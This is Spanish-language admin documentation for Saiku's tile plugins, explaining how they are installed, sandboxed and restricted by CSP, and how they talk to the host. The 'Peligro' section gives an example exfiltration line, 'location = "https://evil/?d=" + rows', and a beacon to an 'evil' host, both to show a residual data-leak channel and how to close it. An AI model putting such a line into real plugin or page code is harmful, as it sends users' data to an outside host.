Plugins (avanzado)

Un plugin de tile es el tile personalizado más potente: un widget autocontenido de HTML + JavaScript que se dibuja dentro de un iframe blindado en sandbox, mientras Saiku le va pasando las filas de la consulta del tile. Úselo cuando ni los tiles integrados ni los renderizadores personalizados declarativos puedan dibujar lo que necesita — un indicador a medida, una disposición inusual, un widget hecho para un propósito concreto.

Los plugins son una función avanzada y controlada por el administrador. Esta página trata sobre todo de su modelo de confianza, porque acertar en eso importa más que la mecánica.

Precaución

Los plugins son código de confianza instalado por el administrador. Un autor de dashboards solo puede elegir por nombre un plugin ya instalado — no hay forma de pegar HTML o JavaScript en crudo a través de un tile. Instalar un plugin es un acto administrativo, equivalente a dejar un JAR de plugin de servidor en la máquina: está concediendo a ese código la confianza de correr en los navegadores de sus usuarios con los datos que muestran sus tiles.

Cómo se instala un plugin

Un operador (no un usuario de dashboards) deja un bundle en una carpeta del servidor de Saiku:

${saiku.home}/tile-plugins/
  records-bars/
    plugin.json    # id, label, and an optional option schema
    plugin.html    # self-contained widget: inline CSS/JS, data: images only

• plugin.json declara el id del plugin (un slug como records-bars), un label de visualización y, opcionalmente, un optionSchema que describe las opciones configurables por el autor.
• plugin.html es el widget en sí — un único documento HTML autocontenido con CSS y JavaScript en línea (sin scripts, estilos ni fuentes remotos; las imágenes deben ser URIs data:).

El servidor escanea la carpeta y deja los plugins instalados disponibles para elegir. Un autor de dashboards añade uno desde + Añadir tile, donde cada plugin instalado aparece como su propia entrada; el tile persistido guarda solo el id del plugin, nunca marcado.

Saiku incluye un ejemplo semilla — records-bars, un gráfico de barras de registros sencillo — para que una instalación recién hecha tenga un plugin que funcione, que mirar y copiar.

Qué contiene el sandbox — y qué no

Cada frame de plugin corre tras dos capas de contención.

1. Un iframe sandbox="allow-scripts" (deliberadamente sin allow-same-origin). El frame corre en el origen opaco null, así que el código del plugin no puede:

• leer el DOM, las cookies ni el localStorage de la página padre;
• ver la sesión de Saiku, un token de incrustación ni datos de ningún otro origen;
• abrir popups, enviar formularios, navegar la ventana superior ni disparar descargas.

2. Una Content-Security-Policy estricta sobre el frame (default-src 'none', sin connect-src). Esto bloquea la salida de red en segundo plano — fetch, XHR, WebSocket, EventSource, sendBeacon, subrecursos remotos y el clásico beacon <img src="https://evil…">.

Peligro

Lo que ninguna de las dos capas detiene: un plugin puede navegar su propio frame. A un frame en sandbox siempre se le permite fijar su propia location, y ninguna directiva fetch de CSP gobierna la navegación. Así que un plugin todavía puede enviar fuera del sitio los datos mostrados en su propio tile (p. ej. location = "https://evil/?d=" + rows).

El sandbox aísla por completo el origen de Saiku — un plugin nunca ve nada más allá de las filas de su propio tile — pero esas filas no son confidenciales frente al propio plugin. Justamente por eso el código de los plugins lo instala el administrador y es de confianza: quien instala un plugin le confía los datos que muestra el tile de ese plugin.

Cerrar el canal de autonavegación

Si quiere cerrar también el canal de exfiltración por autonavegación, un operador define un frame-src restrictivo en la CSP del despliegue mediante saiku.security.csp (en el proxy inverso o en la configuración de CSP del launcher). Restringir a dónde pueden navegar los frames de plugin es la única forma de gobernar la navegación — el sandbox por tile y la CSP no pueden, por diseño.

El protocolo entre plugin y anfitrión

El anfitrión y el plugin se comunican únicamente por window.postMessage. Al montar, el anfitrión inyecta un nonce criptográfico por frame; todo mensaje que envíe un plugin debe devolver ese nonce o se descarta (el origen de un frame en sandbox es la cadena "null", así que el nonce es el único autenticador fiable).

• Anfitrión → plugin: init (las opciones del autor), data (los registros de la consulta), theme y resize.
• Plugin → anfitrión: ready (ya cargué), resize (fija mi altura, por favor — acotada por el anfitrión), filter (una selección, que el anfitrión vuelve a resolver contra el cubo vivo — un plugin no puede inyectar MDX) y error (renderizado solo como texto plano).

El anfitrión valida y acota todo lo que un plugin envía; un mensaje mal formado o sin autenticar se ignora en lugar de ejecutarse.

Plugins en Apps incrustadas

Cuando una App se incrusta, sus tiles de plugin se sirven con alcance de token: un invitado puede cargar exactamente los plugins referenciados por los tiles de la App incrustada y nada más. Se aplica la misma contención de sandbox + CSP, y sigue en pie la misma salvedad de autonavegación — así que la recomendación de frame-src de arriba es también el control del operador para las Apps incrustadas.

Relacionado

• Tiles personalizados — los renderizadores declarativos, más seguros y sin código; recurra a un plugin solo cuando aquellos no basten.
• Incrustar una App — cómo se aplica el alcance por token a los tiles de plugin.
• Cómo se manejan sus datos — el modelo más amplio de manejo de datos.